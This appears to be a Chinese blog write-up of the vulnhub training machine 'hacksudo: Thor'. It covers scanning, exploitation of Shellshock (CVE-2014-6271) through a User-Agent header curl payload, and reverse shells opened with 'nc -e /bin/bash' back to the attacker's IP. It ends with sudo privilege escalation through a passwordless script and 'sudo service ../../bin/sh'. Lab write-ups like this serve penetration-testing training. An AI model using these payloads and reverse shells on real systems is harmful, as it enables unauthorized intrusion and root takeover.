wait's〔三生石畔〕 善良人在追求中纵然迷惘,却终将意识到有一条正途。—— 歌德
【渗透测试-靶场】No.14:hacksudo: Thor(vulnhub)渗透测试
发表于: | 分类: 安全测试 | 评论:0 | 阅读: 1236

一、前言

主要利用方式:cgi-bin的shellshock(破壳)漏洞+sudo切换用户再通过server的sudo提权

二、靶机信息

靶场: vulnhub.com
靶机名称: HACKSUDO: THOR
难度: 中等
发布时间: 2021 年 8月 03日
下载地址:https://www.vulnhub.com/entry/hacksudo-thor,733/
备注:这题主要取巧的地方在于目录扫描到cgi-bin目录,
          如果扫不到,需要通过前端的代码分析发现问题

三、虚拟机配置
VirtualBox、网络连接模式:NAT模式、DHCP服务:启用、IP地址:自动分配

四、信息收集
1、探测靶机ip地址
└─$ sudo arp-scan -I eth0 -l

2、探测靶机ip端口及端口具体服务
└─$ sudo nmap -p- 10.0.2.13
└─$ sudo nmap -p22,80 -sV -A 10.0.2.13

3、访问80端口,并做常规扫描
http://10.0.2.13/
└─$ dirsearch -u 10.0.2.13
└─$ nikto -h 10.0.2.13

4、通过扫描,发现存在/cgi-bin/目录,初步猜测存在shellshock漏洞(破壳漏洞)

 做进一步尝试,扫描路径

└─$ dirsearch -u 10.0.2.13/cgi-bin/ -f -e sh,cgi
-e,--extensions 包含的文件拓展名(逗号分隔) 如-e php,asp
-f,--force-extensions 在字典的每条记录后面添加文件拓展名

5、存在backup.cgi和shell.sh,基本就能判定可以利用了

用nmap也是能证明这个存在漏洞的,后续也可以直接通过nmap直接打

五、漏洞利用(突破边界)
通过cve-2014-6271或者6278去利用即可,本次选用cve-2014-6271

6、通过测试,可以成功回显ID
└─$ curl -H "user-agent: () { :; }; echo;echo;/bin/bash -c 'id'" http://10.0.2.13/cgi-bin/backup.cgi

7、攻击监听,并执行以下命令进行反弹shell,顺手获取Id及ip
curl -H "user-agent: () { :; }; echo; echo; /bin/bash -c 'nc -e /bin/bash 10.0.2.7 9999'" http://10.0.2.13/cgi-bin/backup.cgi

8、升级交互式tty

六、提权

9、查看当前用户sudo权限,发现一个不需要密码就能以thor权限执行的脚本

10、按照提示,以thor用户身份去执行hammer.sh文件

  因为是免密的,所以输入密码时候,可以直接回车,然后查询了一下id,发现是thor用户身份

bash-4.3$ sudo -u thor /home/thor/./hammer.sh

11、既然可以执行id,那就可以执行反弹shell,并升级交互式tty
bash-4.3$ sudo -u thor /home/thor/./hammer.sh
nc -e /bin/bash 10.0.2.7 5555

12、拿到thor用户后,查看可以执行点什么,可以用来提权的
通过测试,发现存在service提权,参考:https://gtfobins.github.io/
thor@HacksudoThor:~$ sudo -l

13、sudo提权,获取id、flag、ip
thor@HacksudoThor:~$ sudo service ../../bin/sh

cat root.txt

ip a

添加新评论

TOP